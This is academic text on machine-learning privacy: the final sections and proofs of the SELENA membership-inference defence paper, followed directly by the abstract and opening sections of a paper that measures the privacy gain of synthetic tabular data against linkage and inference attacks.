CIFAR100; in adversarial regularization, g is 13.4% on Pur-
chase100, 10.2% on Texas100 and 15.4% on CIFAR100. In
contrast, in our defense, g is 3.4% on Purchase100, 6.2% on
Texas100 and 3.5% on CIFAR100: Our mechanism reduces
the total generalization gap by a factor of up to 6.6 compared
to undefended models/MemGuard, and a factor of up to 4.4
compared to adversarial regularization.

2. The additional estimation of soft labels provided by
shadow Split-AI (using the entirety of the attacker’s knowl-
edge) provides additional information to the attacker which
enhances the accuracy of our adaptive attacks: attack has
more advantage over random guess than direct single-query
attacks and label-only attacks. However, even considering the
strong adaptive attacks, SELENA still achieves lower attack
accuracy in comparison to previous defenses, which validates
the defense effectiveness of our SELENA.

In conclusion, using direct single-query attacks, label-only
attacks, as well as adaptive attacks with estimated soft labels,
we show that our approach outperforms previous defenses
and achieves a better trade-off between utility and empirical
membership privacy.

7 Discussions

In this section, we will discuss the computation overhead of
our defense, as well as comparison with PATE [34,35] (which
uses a disjoint training set partition for sub-models and differ-
ential privacy to protect privacy), and DP-SGD [1] (which is
a general framework to provide a provable privacy guarantee
for neural networks).

USENIX Association 31st USENIX Security Symposium    1443



7.1 Efficiency
One cost that our framework needs to pay is the use of addi-
tional computing resources in the training process as we train
multiple sub-models for Split-AI. Table 3 and Table 4 present
the comparison of the training time cost and inference time
cost between our SELENA and previous defenses. As Mem-
Guard [21] focuses on post-processing techniques for predic-
tion vectors of undefended models in the inference phase, we
omit MemGuard in Table 3 for training time and compare
our SELENA with MemGuard in Table 4 for inference time.
For time comparison, all experiments are tested on a single
NVIDIA Tesla-P100 GPU. We separately set the batch size
as 512, 128, 256 during the training process for Purchase100,
Texas100 and CIFAR100 (note that the batch size might also
impact the running time, and here we maintain the same batch
size for each dataset across different defenses). For unde-
fended model, adversarial regularization, and our Split-AI,
we train 30, 20, and 200 epochs for Purchase100, Texas100,
and CIFAR100. For Self-Distillation, we train 60, 30, and 200
epochs for Purchase100, Texas100, and CIFAR100 to ensure
convergence. All running times are tested three times and we
report the average of the three runs.

Table 3: Comparison of training time.

Dataset None AdvReg SELENA
sequential

SELENA
parallel

Purchase
100 9.5s 55.7s 359.4s 73.5s

Texas100 10.7s 111.6s 343.0s 68.0s

CIFAR100 1.78h 23.5h 29.6h 3.0h

Comparison of training time in Table 3: our defense (SE-
LENA sequential: sequentially train each sub-model on a
single GPU) costs up to 6.1h more computation time than ad-
versarial regularization (CIFAR100). However, we can simply
accelerate training Split-AI by training several sub-models
parallelly. For example, if we train all K sub-models simulta-
neously (SELENA parallel), the training time for SELENA is
73.5s for Purchase100, 68.0s for Texas100 and 3.0h for CI-
FAR100. In contrast, adversarial regularization cannot benefit
from parallel training: there is only one model during training.

Comparison of inference time in Table 4: MemGuard costs
three orders of magnitude more per inference compared to SE-
LENA since it has to solve a complex optimization problem to
obfuscate prediction vectors for every query while SELENA
only needs to perform computation on a single model.

In conclusion, we argue that the cost of computing re-
sources in the training phase and no additional computation
in inference phase is acceptable as the improvement in GPU
technology is making the computing resources cheap while
the privacy threat remains severe. If multiple GPUs are avail-

Table 4: Comparison of inference time. Tests are done on
1000 samples: 500 members and 500 non-members. Batch
size is 1.

Dataset MemGuard SELENA

Purchase100 702.7s 0.7s

Texas100 668.6s 0.7s

CIFAR100 768.5s 8.6s

able, our approach can easily benefit from parallelization by
training the K sub-models in parallel. Finally, we can also
tune the system parameters K and L to control the trade-off
between the computation cost, model utility and privacy.

7.2 Comparison with PATE
PATE [34,35] is a framework composed of teacher-student dis-
tillation and leverages public data to achieve a better privacy-
utility trade-off for differential privacy. PATE uses a disjoint
training set partition for sub-models in the teacher compo-
nent. To get the private label of the public dataset to train
the student model, PATE applies noise-added count among
sub-models.

There are three major differences between our work and
PATE:

1. PATE requires a public dataset to provide the provable
end-to-end privacy guarantee, which is not possible in
certain practical scenarios such as healthcare. Our de-
fense does not need public datasets and provides a strong
empirical defense against MIAs.

2. We apply a novel adaptive inference strategy to defend
against MIAs: for each training sample, we only use
prediction of sub-models in Split-AI that are not trained
with it as these sub-models will not leak membership
information for it. PATE does not use adaptive inference
and relies on majority voting over all sub-models.

3. We use overlapping subsets to train sub-models. This
allows our approach to obtain high accuracy for each
sub-model with sufficient subset size. PATE faces the
limitation of each sub-model being trained with much
reduced subset size due to disjoint subsets.

In addition, PATE incurs a 0.7% ∼ 6.7% drop in classifica-
tion accuracy [35], while the classification accuracy drop in
our defense is no more than 3.9%.

7.3 Comparison with DP-SGD
In this work, we use the canonical implementation of DP-
SGD and its associated analysis from the TensorFlow Privacy
library.6 We vary the parameter noise_multiplier in the range

6https://github.com/tensorflow/privacy.
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of [1, 3] on Purchase100 and [1, 2] on Texas100 with a step
size 0.2. We set the privacy budget ε = 4 and report the best
classification accuracy for these two datasets.

The test accuracy on Purchase100 is 56.0% and the best
direct single-query MIA accuracy is 52.8%. The test accuracy
on Texas100 is 39.1%, and the best direct single-query MIA
accuracy is 53.8%. Note that though DP-SGD provides a
differential privacy guarantee and the best direct single-query
MIA accuracy is 0.5% ∼ 1% lower than that against our
SELENA, DP-SGD suffers from a significant loss in utility:
compared to the undefended model DP-SGD incurs 13.2%
∼ 27.5% drop in classification accuracy, while our defense
incurs no more than 3.9% drop in classification accuracy.

8 Related Work

Membership inference attacks against machine learning.
MIAs are usually studied in a black-box manner [30, 39, 41]:
an attacker either leverages the shadow training technique
or utilizes knowledge of partial membership information of
training set. Most MIAs are direct single-query attacks [43,
44, 51, 52]. A more recent line of MIA research has con-
sidered indirect multi-query attacks which leverage multiple
queries around the target sample to extract additional infor-
mation [8, 20, 26, 27]. Jayaraman et al. [20] analyze MIA in
more realistic assumptions by relaxing proportion of training
set size and test set size in the MIA set up to be any positive
value instead of 1. Hui et al. [18] study MIA in a practical
scenario, assuming no true labels of target samples are known
and utilizing differential comparison for MIAs. Another threat
model for MIAs is that of a white-box setting, i.e., the attacker
has full access to the model [24,31], which can exploit model
parameters to infer membership information.
Membership inference defenses for machine learning.
Membership inference defenses can be divided into two main
categories. One category of defenses are specifically designed
to mitigate such attacks. It has been shown that techniques
to improve a model’s generalization ability, including regu-
larization [23] and dropout [45], can decrease the MIA suc-
cess [39, 41] limitedly. Several defenses [25, 30] propose
adding a specific constraint during the training process to mit-
igate the difference of model behavior on members and non-
members. Post-processing techniques on prediction vectors
are also applied on membership inference defenses [21, 50].
Note that the defenses which obfuscate prediction vectors
cannot defend against label-only attacks [8, 26]. Moreover,
Song et al. [43] re-evaluate two state-of-the-art defenses (ad-
versarial regularization [30] and MemGuard [21]) and find
that both of them underestimated metric-based attacks. She-
jwalkar et al. [40] propose distillation of public data to protect
membership privacy. However, public dataset is not usually
available in many practical scenarios. Another category of
defenses uses differential privacy mechanisms [9–11], which
provide a provable privacy guarantee for users. A general

framework combining deep learning and differential privacy
is DP-SGD [1, 28, 49]. However, machine learning with dif-
ferential privacy suffers from the challenge of achieving ac-
ceptable utility loss and privacy guarantee [19, 37]. Several
methods have been proposed to improve the classification
accuracy under an acceptable ε guarantee, which is still an ac-
tive area of research. Current state-of-the-art approaches still
incur significant drop in classification accuracy (around 25%)
on benchmark datasets with acceptable ε≤ 3 [32, 36, 46].
Other Attacks Against Machine Learning Privacy.
Fredrikson et al. [12] propose model inversion attacks, which
can infer missing values of an input feature from the classi-
fier’s prediction. Ganju et al. [13] study property inference
attacks aiming to infer properties of the target model’s train-
ing set. Salem et al. [38] propose the dataset reconstruction
attack in the online learning setting. Another line of works
studies model extraction attacks [16, 22, 47], i.e., stealing the
ML model’s learned parameters through the prediction API.
Besides model parameters, other works also focus on stealing
the target model’s hyperparameters [48]. Recently Carlini et
al. [3, 4] study the memorization and data extraction attacks
on natural language processing models, which shows that
machine learning models suffer from severe privacy threats.

9 Conclusions

In this paper we introduce a new practical membership in-
ference defense using Split-AI and Self-Distillation. We first
split the training set into K subsets to train K sub-models. We
ensure each training sample is not used to train L sub-models,
and apply an adaptive inference strategy for members and
non-members. Split-AI will only use the average of a partic-
ular subset of L sub-models which are not trained with the
queried samples. Hence Split-AI can defend against direct
single-query attacks. We apply Self-Distillation from Split-
AI to defend against stronger attacks and avoid additional
computing resources in inference. We perform a rigorous
evaluation through MIAs including direct single-query at-
tacks, label-only attacks and adaptive attacks to show that
our defense outperforms previous defenses to achieve a better
trade-off between the utility and empirical membership pri-
vacy. Future work includes understanding the adaptation of
Split-AI in other privacy tasks such as provable private mech-
anisms, analyzing the defense performance against white-box
MIAs, and extending our defense from classification models
to generative models.
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A Proof for Split-AI and SELENA against Di-
rect, Single-Query Membership Inference
Attack

Notation. In this section, we use x← X to denote that x is
sampled from a distribution X . We use Supp(X) to denote
the support set of a random variable X . By TV (X ,X ′) we
denote the total variation distance between X and X ′, that is
TV (X ,X ′) = supS⊂Supp(X)∪Supp(X ′) Pr[X ∈ S]−Pr[X ′ ∈ S].

A.1 Split-AI’s Privacy under Direct Single-
query Attacks

Here we provide the detailed proof for Theorem 2.

Proof. We show that for any adversary’s choice of i ∈ [2n]
in step 4 of the security game, the view of adversary in two
cases when bi = 0 and when bi = 1 are statistically identical.
Note that the only information that the adversary receives is
ri = FθI (xi). We show that the distributions of two random
variables ri | bi = 0 and ri | bi = 1 are identical. Let Ui be a
random variable corresponding to the subset of trained models
that do not contain xi in their training set (in particular |Ui|= L
if bi = 1 and |Ui| = K when bi = 0). Also, let U denote a
random variable corresponding to a subset of L models that
do not contain a random xk in their training data where k is
selected from { j ∈ [2n];b j = 1} uniformly at random.

We first note that U | bi = 0 and Ui | bi = 1 are identically
distributed random variables. Specifically, they are both an
ensemble of L models trained on a uniformly random subset of
a dataset T ⊂ {x1, . . . ,xi−1,xi+1, . . . ,x2n} where |T |= n−1.

Now, lets calculate the distribution of response when bi = 1
and when bi = 0. For bi = 1 we have

(ri | bi = 1)≡ (
1
L
· ∑

F∈Ui

F(xi) | bi = 1)

For bi = 0 we have

(ri | bi = 0)≡ (
1
L
· ∑

F∈U
F(xi) | bi = 0)

Now since Ui | bi = 1 and U | bi = 0 are distributed identi-
cally, the summation of the query points are also identically
distributed. Therefore, ri | bi = 0 and ri | bi = 1 are identi-
cally distributed. Note that it is crucial that the adversary only
queries the point xi as otherwise we had to take the summa-
tion over U | bi = 1 and U | bi = 0 which are not identically
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distributed (the case of bi = 1 could have xi in the training set
of the L models).

Since we prove that ri | bi = 1 and ri | bi = 0 are identical,
the adversary cannot distinguish them and the success proba-
bility of the adversary is exactly 0.5. The intuitive explanation
for this proof is that for each data point, the distribution of
output of this algorithm on a given point x is independent of
the presence of x in the training set, as we will not use models
that are trained with x to answer queries, even if x is in the
training set.

Remark 3 (A stronger security game and theorem). Note that
there is a worst-case variant of Definition 1 where in step 4,
instead of the challenger, the adversary selects i ∈ [2n]. This
is a stronger security game as the adversary can select the
worst example in the dataset. However, Theorem 2 remains
unchanged in this game. This is because the proof applies to
any i ∈ [2n] and does not require i to be chosen at random.
As we will see below, we have another theorem (Theorem 5)
that considers the privacy of end-to-end SELENA for which
the guarantee only holds for the weaker definition.

A.2 SELENA’s Privacy under Direct Single-
query Attacks

Definition 2 (stable distillation). A distillation algorithm
Q : Ms×AUX→Mo is a potentially randomized algorithm
with access to a source model ms ∈Ms ⊆ Y X and some auxil-
iary information and returns an output model mo ∈Mo ⊂ Y X .
We define the notion of stability for a distillation algorithm
on a point x ∈ X, and joint distribution M on Ms×AUX as
follows:

stablity(Q,M ,x) = 1−TV (Q(M )[x],M [x]).

Moreover, we say the algorithm Q has (α,β)-stability on a
distribution M and a dataset X iff

Pr
x←X

[stability(Q,M ,x)≤ 1−α]≤ β

Example. If the distillation algorithm Q ensures that for a
specific point x and for all ms ∈Ms we have Q(ms)[x] = ms[x],
then Q has stability 1 on point x for all distributions M defined
on Ms.

Remark 4. The distillation algorithm Q could also depend
on an additional dataset that is correlated with ms as the
auxiliary information. For instance, in our self-distillation
algorithm, the distillation is done through the same training
set that was used to train ms. In this case, we are interested
in the joint distribution M that consists of a model ms as first
element and a dataset D as the second element, so that ms is
a model trained on dataset D.

Now we state a corollary of our Theorem 2 about the pri-
vacy of the distilled models from the output of the Split-AI
operation.

Notation. For a learner C and a dataset X , we use MC,X
to denote a distribution of models that is obtained from the
following process: First select a random subset S of size |X |/2
and then train a model m on that subset using learner C and
output (m,S). For a learner C and a distillation model Q, we
use QoC to denote a learner that first uses C to train a model
and then uses distillation algorithm Q to distill that model and
then returns the distilled model.

Theorem 5. Let C be an arbitrary learner. Assume for a set
of samples X the distillation algorithm Q has (α,β)-stability
on distribution MC,X and dataset X. Then, for any adversary
A we have

SQMI(A,QoC,X)≤ SQMI(A,C,X)+α+β.

Proof. Consider an adversary A that given a response QoC[xi]
on query xi ∈ X outputs a bit b′i = A(QoC(xi)). Let E be an
event defined on X such that E(x) = 1 iff

stability(Q,MC,X ,x)≥ 1−α.

For a point xi such that E(xi) = 1 we have

Pr
[
A(QoC[xi]) = bi

]
≤ Pr

[
QoC[xi] 6=C[xi]

]
+Pr

[
A(C[xi]) = bi |C(xi) = QoC[xi]

]
·Pr

[
QoC[xi] =C[xi]

]
≤ α+Pr

[
A(C[xi]) = bi

]
Therefore, we have

Pr
xi←X

[
A(QoC[xi]) = bi

]
≤ Pr

xi←X

[
A(QoC[xi]) = bi | E(xi)

]
· Pr

xi←X
[E(xi)]+ Pr

xi←X
[Ē(xi)]

≤ Pr
xi←X

[
A(QoC[xi]) = bi | E(xi)

]
· Pr

xi←X
[E(xi)]+β

≤
(

Pr
xi←X

[
A(C[xi]) = bi | E[xi]

]
+α

)
· Pr

xi←X
[E(xi)]+β

≤ Pr
xi←X

[
A(C[xi]) = bi

]
+α+β

= SQMI(A,C,X)+α+β.

Now we are ready to state a corollary of Theorems 5 and
Theorem 2 for the full pipeline of Split-AI followed by Self-
Distillation. The following Corollary directly follows from
Theorems 5 and Theorem 2.

Corollary 6. Let CST be a learner that uses the Split-AI algo-
rithm 1. Also, let QSD be a distiller that uses self-distillation
algorithm. If QSD is (α,β)-stable for a dataset X and distri-
bution MCST ,X , then, for any adversary A we have

SQMI(A,QSDoCST ,X)≤ 0.5+α+β.
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A.3 Discussion of Split-AI and SELENA for
Correlated Points

Remark 7 (How private is SELENA against multi-query at-
tacks?). The above theoretical analysis of SELENA is only
valid for direct single-query attacks. But one might wonder if
we can show a similar theory for privacy of SELENA against
multi-query attacks. Unfortunately, we cannot prove a result
as general as Corollary 6 for multi-query attacks. In fact,
there exist some datasets that SELENA cannot obtain prov-
able privacy for. For instance, imagine a dataset that contains
two points (x,0) and (x′,1) such that x and x′ are almost the
same points, i.e. x≈ x′, yet they are labeled differently in the
training set (x is labeled as 0 and x′ as 1). In this scenario, we
can observe that the adversary can obtain information about
membership of x and x′, when querying both points. In partic-
ular, if only one of x and x′ are selected as members, then we
expect the result of query on x and x′ to be the same and equal
to the label of the one that is selected as a member. However,
we argue that this lack of privacy for certain datasets will
not manifest in the real world examples as such high correla-
tion does not frequently appear in real-world datasets. Our
empirical analysis of SELENA is consistent with this claim.
We defer the theoretical analysis of SELENA for multi-query
attacks on datasets that satisfies certain assumptions to future
work.

Specific study of possible leakage in Remark 7. To study
the possible leakage in Remark 7 on Split-AI, we investi-
gate the effect of querying correlated points. In particular, we
consider pairs (x,x′), where x is a member and x′ is a close
non-member. Then, we measure the difference between out-
puts from L sub-models in Idnon(x) and random L sub-models
for a non-member sample x′. This way, we obtain an attack
which shows the magnitude of the privacy loss due to the
leakage described in Remark 7.

Experiment setup. We design the following experiment on
the CIFAR100 dataset. We use L2 distance to measure the cor-
relation between member samples and non-member samples.
For each training sample x, we find the sample x′ among test
set which has the least L2 distance to x but labeled differently.
For each correlated pair (x,x′), we query Split-AI on x′ twice,
the first query uses L sub-model indices defined by Idnon(x)
and the second query uses random L sub-models. We denote
these two queries by FθI(x

′, Idnon(x)) and FθI(x
′,rnd) respec-

tively. Now we can leverage the MIAs evaluated in Section 6:
consider FθI(x

′, Idnon(x)) as a member and FθI(x
′,rnd) as a

non-member, we use these predictions along with the label
of x′ as input to the direct single-query attacks (due to their
strong performance on undefended models).

Result. We present the result of the correlated point attack
as a function of how close these correlated pairs are, i.e., the

5 10 15
threshold: L2(x, x0) ≤  threshold

0.0

0.2

0.4

0.6

0.8

1.0

0.5

qualified pair ratio
attack accuracy

Figure 5: Given the L2 distance threshold for correlated pairs
(x,x′) as the x-axis, we plot the fraction of pairs with dis-
tance less than that threshold. We also plot the average attack
accuracy among paired queries within that distance.

distance L2(x,x′). For L2 distance from 1 to 15,7 we evaluate
the ratio of member samples that satisfy this L2 restriction
and the corresponding attack success rate, and plot the result
in Figure 5. We can see that for L2 distance larger than 6,
the attack performance is close to a random guess. For L2
distance less than 6, we can see that as L2 distance restriction
becomes smaller, the attack accuracy tends to increase. This
is consistent with what we discuss in Remark 7. However,
we should also note that the ratio of such pairs that satisfy
the restriction is close to 0. Specifically, for L2 = 1. there are
only 6 member samples out of 50000 member samples that
satisfy this restriction, which is consistent with our discussion
in Remark 7 that the presence of such highly correlated pairs
in real-world datasets is small.

Can our NN-based attacks (in Section 3 and Section 5)
leverage the correlation leakage? We emphasize that our
NN-based attacks described in Section 3 and Section 5 have
all the required information for leveraging the correlation
leakage described in this subsection. Our attacks have access
to a large fraction of dataset together with their membership
information and the prediction vector on the target model.
Therefore, in principle, the NN-based attack could learn to
perform the following: (1) On a given point x, finds the most
correlated point x′ in the provided dataset. (2) Calculates the
expected prediction vector for querying x′ on models and
non-models of x. (3) Runs the attack described above in this
subsection. We cannot prove that the neural network does all
these steps, but it has all the power to do so.

7Image pixel in range [0,1].
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Abstract
Synthetic data has been advertised as a silver-bullet solu-
tion to privacy-preserving data publishing that addresses the
shortcomings of traditional anonymisation techniques. The
promise is that synthetic data drawn from generative models
preserves the statistical properties of the original dataset but,
at the same time, provides perfect protection against privacy
attacks. In this work, we present the first quantitative eval-
uation of the privacy gain of synthetic data publishing and
compare it to that of previous anonymisation techniques.

Our evaluation of a wide range of state-of-the-art genera-
tive models demonstrates that synthetic data either does not
prevent inference attacks or does not retain data utility. In
other words, we empirically show that synthetic data does
not provide a better tradeoff between privacy and utility than
traditional anonymisation techniques. Furthermore, in con-
trast to traditional anonymisation, the privacy-utility tradeoff
of synthetic data publishing is hard to predict. Because it is
impossible to predict what signals a synthetic dataset will pre-
serve and what information will be lost, synthetic data leads
to a highly variable privacy gain and unpredictable utility loss.
In summary, we find that synthetic data is far from the holy
grail of privacy-preserving data publishing.

1 Introduction
The rise of data-driven decision making as the prevailing
approach to advance science, industrial production, and gov-
ernance generates a need to share and publish data [20,21,65].
At the same time, growing concerns about the implications
that data sharing has for individuals and communities call
for data publishing approaches that preserve fundamental
rights to privacy. Yet, how to share high-dimensional data in
a privacy-preserving manner remains an unsolved problem.
Attempts to anonymise micro-level datasets have failed across
the board [11, 13, 14, 42, 44, 47, 58, 59]. A large number of
publications, case studies, and real-world examples demon-
strate that high-dimensional, sparse datasets are inherently
vulnerable to privacy attacks. The repeated failures to protect

the privacy of microdata releases reflect a fundamental trade-
off: information-rich datasets that are valuable for statistical
analysis also always contain enough information to conduct
privacy attacks [45].

In this landscape, practitioners and researchers see in syn-
thetic data a promising approach to open data sharing that
addresses the privacy issues of previous anonymisation at-
tempts [2, 5, 10, 15, 16, 46, 61, 62, 64, 66–68, 72, 74]. Synthetic
data is presented as “the next, best step in sanitized data re-
lease” [5] that addresses a wide variety of privacy-sensitive
use cases from deriving aggregate insights [55, 73] to out-
lier analysis [40, 63]. Synthetic datasets are promised to pre-
serve the statistical properties of the original data but “contain
no personal data” [61] and hence “enable the protection of
personally identifiable information” [15]. In this work, we
present a rigorous, quantitative assessment of such claims and
challenge the common perception of synthetic data as the
holy grail of privacy-preserving data publishing.

Previous works. Previous studies on the privacy properties
of synthetic data publishing overestimate its benefits over
traditional anonymisation for multiple reasons. A common
argument to support claims about the privacy benefits of syn-
thetic data is that it is ‘artificial data’ and therefore no direct
link between real and synthetic records exists. Hence, many
argue, synthetic data by design protects against traditional
attacks on microdata releases such as linkage [19, 58] or at-
tribute disclosure [19,39]. Consequently, many studies rely on
similarity tests between real and synthetic records to measure
the privacy leakage of synthetic datasets [10, 67, 68]. As we
show in this paper, these studies severely underestimate the
privacy risks of synthetic data publishing. We introduce two
new privacy attacks that demonstrate that, despite its artifi-
cial nature, synthetic data does not protect all records in the
original data from linkage and attribute inference.

More recent works analyse the vulnerability of genera-
tive models against model-specific extraction attacks [8, 26,
28]. Due to their focus on white-box attacks against non-
parametric models for synthetic image generation these works
do not provide the right framework to assess the privacy risks
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of synthetic data sharing in the tabular data domain. In con-
trast, our attacks treat the data synthesis method as a black-
box, focus on tabular data publishing, and allow us to directly
compare the privacy leakage of synthetic data to that of tradi-
tional anonymisation techniques.

Other approaches rely on formal privacy guarantees for
the generative model training process to prevent privacy at-
tacks [1, 6]. While formal definitions of privacy are a clear
improvement over the heuristic privacy models of traditional
anonymisation, their guarantees are often hard to interpret and
difficult to compare to alternative anonymisation techniques.
Here, we propose a framework that enables data holders to
empirically evaluate the privacy guarantees of differentially
private synthetic data publishing and to directly compare its
tradeoffs to that of traditional anonymisation techniques.

Contributions. In this paper, we quantitatively assess
whether (differentially private) synthetic data produced by
a wide range of common generative model types does provide
a higher gain in privacy than traditional sanitisation at a lower
cost in utility. Our results demonstrate that:
(I) Synthetic data drawn from generative models without ex-
plicit privacy protection does not protect outlier records from
linkage attacks. Given access to a synthetic dataset, a strategic
adversary can infer, with high confidence, the presence of a
target record in the original data.
(II) Differentially private synthetic data that hides the signal of
individual records in the raw data protects these targets from
inference attacks but does so at a significant cost in utility.
Worse, in contrast to traditional anonymisation techniques,
synthetic datasets do not give any transparency about this
tradeoff. It is impossible to predict what data characteristics
will be preserved and what patterns will be suppressed.
(III) Our empirical evaluation of the existing implementations
of two popular differentially private generative model training
algorithms reveals that certain implementation decisions vio-
late their formal privacy guarantees and leave some records
vulnerable to inference attacks. We provide a novel implemen-
tation of both algorithms that addresses these shortcomings.
(IV) We make our evaluation framework available as an open-
source library. Our implementation allows practitioners and
researchers to quantify the privacy gain of publishing a syn-
thetic in place of a raw or sanitised dataset and compare the
quality of different anonymisation mechanisms.

2 Synthetic data and generative models

In this section, we formalise the process of synthetic data
generation. Let R be a population of data records where
each record rrr ∈ R contains k attributes: rrr = (r1, · · · ,rk). We
denote the unknown joint probability distribution over the
data domain of the population as DR . We refer to R∼Dn

R , a
collection of n data records sampled independently from DR ,
as raw dataset which defines the data distribution DR.

Synthetic data generation. The goal of a generative model
is to learn a representation of the joint probability distribu-
tion of data records DR. The model training algorithm GM(R)
takes as input a raw dataset R, learns Dg(R), a representa-
tion of the joint multivariate distribution DR, and outputs a
trained generative model g(R). The model g(R) is a stochastic
function that, without any input, generates synthetic records
sssi, distributed according to Dg(R). We denote the process of
sampling a synthetic dataset S = (sss1, · · · ,sssm) of size m as
S∼Dm

g(R). We write g(R)∼ GM(R) instead of g(R)← GM(R)
to indicate that the training algorithm can be a stochastic and
non-deterministic process.

Approximation by features. It is tempting to assume that
the model Dg(R) provides a perfect representation of the data
distribution DR and that synthetic data “carries through all
of the statistical properties, patterns and correlations in the
[input] data” [27]. The trained model, however, only provides
a lower-dimensional approximation of the true data distribu-
tion. It retains some characteristics but can never preserve all
of them. Which characteristics are captured, and how they ap-
proximate DR, is determined by the generative model choice.
Statistical models, such as Bayesian networks [35], or Hidden
Markov models [23], provide an explicit, parametric model of
DR. The features these models extract from their training data
is determined upfront. Non-parametric models, such as gen-
erative adversarial networks (GANs) [25] or variational auto
encoders (VAEs) [33], do not estimate a parametric likelihood
function to generate new samples from Dg(R). Which features
of the input data are most relevant and how the model approx-
imates DR is implicitly determined during training [24].

The features a generative model uses to approximate DR
define which of the statistical properties of the raw data R are
replicated by a synthetic dataset S∼Dg(R) sampled from the
trained model. Statistical models provide some control over
what features will be preserved. However, it is not possible
to exclude that a synthetic dataset reproduces characteristics
of the original data other than the features explicitly captured
by the model. For instance, synthetic data generated through
independent sampling from a set of 1-way marginals is ex-
pected to preserve a dataset’s independent frequency counts.
However, if the raw data contains strong correlations between
attributes, these correlations are likely to be replicated in the
synthetic data even under independent sampling.

2.1 Generative models in this study

In Sections 4.3 and 6.2, we empirically evaluate the privacy
gain of synthetic data publishing for five existing generative
model training algorithms. We implemented three generative
models without explicit privacy protection and two models
with differential privacy guarantees. We chose models rele-
vant to the tabular data sharing use case and to cover a wide
range of model architectures. We further considered their
computational feasibility for high-dimensional datasets and
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whether a working implementation was available. Table 1 in
Appendix 8.1 lists our parametrisation of these models.

IndHist. The IndHist training algorithm from Ping et
al. [50] extracts marginal frequency counts from each data
attribute and generates a synthetic dataset S through inde-
pendent sampling from the learned marginals. Continuous
attributes are binned. The number of bins is a configurable
model parameter.

BayNet. Bayesian networks capture correlations between at-
tributes by factorising the joint data distribution as a product
of conditionals. The degree of the network model is a model
parameter. The trained network provides an efficient way to
sample synthetic records from the learned distribution (see
Zhang et al. [71] for details). We use the GreedyBayes imple-
mentation provided by Ping et al.’s DataSynthesizer [50].

PrivBay. PrivBayes [71] is a differentially private Bayesian
network model. Both, the Bayesian network and the con-
ditional distributions, are learned under ε-differentially pri-
vate algorithms. A synthetic dataset can be sampled from the
trained model without any additional privacy budget cost. We
use the GreedyBayes procedure provided by Ping et al. [50]
to train a differentially private version of BayNet such that a
PrivBay-trained model with ε→∞ corresponds to a BayNet-
model without formal guarantees.

CTGAN. CTGAN [66] uses mode-specific normalisation of tab-
ular data attributes to improve the approximation of complex
distributions through GANs. CTGAN further uses a condi-
tional generator and training-by-sampling to get better perfor-
mance on imbalanced datasets.

PATEGAN. PATEGAN builds on the Private Aggregation of
Teacher Ensembles (PATE) framework [48] to achieve DP for
GANs [32]. PATEGAN replaces the discriminator’s training
procedure with the PATE mechanism. The trained model
provides (ε,δ)-DP with respect to the discriminator’s output.

3 Quantifying the privacy gain of synthetic
data publishing

The promise of synthetic data is that it allows data holders to
publish (synthetic) datasets that are useful for analysis while,
at the same time, protect the privacy of individuals in the
raw data against powerful adversaries [2, 5, 10, 16, 66–68].
The increasing number of applications of synthetic data tools
shows that this has become an appealing proposition [15,
46, 61, 62, 64, 72, 74]. Here, we introduce a novel evaluation
framework that allows data holders to quantitatively assess
claims about the privacy benefits of synthetic data sharing.

Synthetic data as an anonymisation mechanism. Synthetic
data providers often present synthetic data as a novel “data
anonymisation solution” [74] that addresses the shortcom-
ings of traditional sanitisation techniques, such as generalisa-
tion [39, 58] or perturbation [43]. Data holders are promised

that publishing a synthetic in place of the raw dataset prevents
the leakage of private information about individuals in the
raw data previously observed in sanitised datasets [43, 58].

To evaluate this claim, that synthetic data generation is an
effective anonymisation mechanism, we hence need to assess
whether synthetic data addresses the privacy risks that origi-
nally motivated the use of data anonymisation techniques.
These are the risk of linkability and inference [3]. Previ-
ous anonymisation methods such as k-anonymity [58] or l-
diversity [39] have failed to provide robust protection against
these attacks for high-dimensional, sparse datasets [43]. So
far, however, there is no evidence that synthetic data provides
better protection against these attacks at a lower cost in utility
than traditional sanitisation techniques.

A number of recent papers have tackled related problems
but focus primarily on non-parametric models for synthetic
image generation and adversaries with white-box or query
access to the model [8,26,28]. However, like sanitisation, syn-
thetic data is primarily seen as a tool for privacy-preserving
tabular data sharing, i.e., to enable data holders to publish a
single copy of synthetic data as opposed to the trained model
or a set of statistics [15, 46, 64, 72, 74]. In our framework, we
hence assume that the adversary only has access to a syn-
thetic dataset and can not repeatedly query the trained model
or observe its parameters.

3.1 Evaluation framework
The goal of our framework is to quantitatively assess whether
publishing a synthetic dataset S in-place of the raw data R
reduces the privacy risks for individuals in the raw data with
respect to the relevant privacy concerns. We model each pri-
vacy concern as an adversary A that given a raw or synthetic
dataset aims to infer a secret about a target record rrrt from
the population R . For each adversary, we define an advan-
tage measure AdvA that captures by how much including
an individual’s record in the published data increases this
individual’s privacy risk. In Section 4.1 and 6.2, we define
adversaries and advantage measures that model the risk of
linkability and inference, respectively.

Privacy gain. We assess the privacy gain of publishing a
synthetic dataset S in place of the raw data R for target record
rrrt as the reduction in the adversary’s advantage when given
access to S instead of R

PG , AdvA (R,rrrt)−AdvA (S,rrrt) . (1)

A high privacy gain indicates that publishing S in place of
R substantially reduces the privacy risk modelled by adversary
A for target record rrrt . A low gain, in contrast, implies that
the data holder’s decision to publish S or R has no impact
on the privacy loss for target record rrrt , i.e., the adversary’s
advantage remains the same.

The privacy gain hence allows us to assess whether syn-
thetic data is, as promised, an effective anonymisation mech-
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anism. A good anonymisation mechanism should result in a
high privacy gain for all records in the population and under
any potential privacy adversary. A low gain in privacy indi-
cates that the anonymisation mechanism does not provide a
significant improvement over publishing the raw data.

Comparison to previous evaluation approaches. In con-
trast to model-specific evaluation techniques [30], our frame-
work treats the data generating mechanism as a complete
black-box and evaluates the privacy risks of synthetic data
publishing rather than an adversary’s inference power when
given query or white-box access to a model [26, 53]. As
opposed to privacy evaluations based on similarity met-
rics [10, 67, 68], the framework provides data holders with a
direct measure of how well the synthetic data defends against
the privacy risks of data sharing. This makes the evaluation
results easily interpretable and relatable to relevant data pro-
tection regulations [3]. We design and implement the frame-
work in a modular fashion. This ensures that the framework
is not limited to a specific threat model [53] or the privacy
risks modelled in this paper. Instead, it can be adapted to any
privacy concern specific to the data holder’s use case. The
proposed evaluation method is independent of the data gener-
ation method. Thus, it can be used to evaluate the privacy gain
of synthetic data generated by models trained without any ex-
plicit privacy protection, models trained under formal privacy
guarantees [1, 6], or traditional anonymisation techniques.

Worst-case vs. average-case evaluation. Finally, previous stud-
ies have shown that the privacy risks of data sharing are not
uniformly distributed across the population [36,38,54]. While
individuals that are representative of a large majority of the
population are often protected from privacy attacks, outliers
or members of minorities largely remain vulnerable. Our
framework allows to assess privacy risks both at an aggregate
